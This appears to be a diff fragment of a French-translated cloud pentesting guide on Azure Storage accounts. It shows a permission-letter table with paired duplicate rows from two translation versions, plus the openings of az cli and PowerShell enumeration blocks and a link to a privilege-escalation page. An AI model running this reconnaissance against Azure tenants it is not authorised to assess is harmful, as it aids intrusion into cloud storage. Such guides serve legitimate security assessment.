| **Write** | `w` | Téléverser des fichiers et créer des répertoires. |
| **Write** | `w` | Télécharger des fichiers et créer des répertoires. |
| **List** | `l` | Lister le contenu des répertoires. |
| **Delete** | `d` | Supprimer des fichiers ou répertoires. |
| **Create** | `c` | Créer des fichiers ou répertoires. |
| **Modify Ownership** | `o` | Modifier l'utilisateur ou le groupe propriétaire. |
| **Modify Permissions** | `p` | Modifier les ACL sur les fichiers ou répertoires. |
| **Delete** | `d` | Supprimer des fichiers ou des répertoires. |
| **Create** | `c` | Créer des fichiers ou des répertoires. |
| **Modify Ownership** | `o` | Changer l'utilisateur ou le groupe propriétaire. |
| **Modify Permissions** | `p` | Modifier les ACL des fichiers ou des répertoires. |
## Énumération
## Enumeration
{{#tabs }}
{{#tab name="az cli" }}
<details>
<summary>énumération az cli</summary>
<summary>az cli enumeration</summary>
```bash
# Get storage accounts
az storage account list #Get the account name from here
@@ -372,7 +372,7 @@ az storage account local-user list \
{{#tab name="Az PowerShell" }}
<details>
<summary>Az PowerShell enumeration</summary>
<summary>Énumération Az PowerShell</summary>
```powershell
# Get storage accounts
Get-AzStorageAccount | fl
@@ -441,7 +441,7 @@ New-AzStorageBlobSASToken `
az-file-shares.md
{{#endref}}
## Élévation de privilèges
## Escalade des privilèges
{{#ref}}
../az-privilege-escalation/az-storage-privesc.md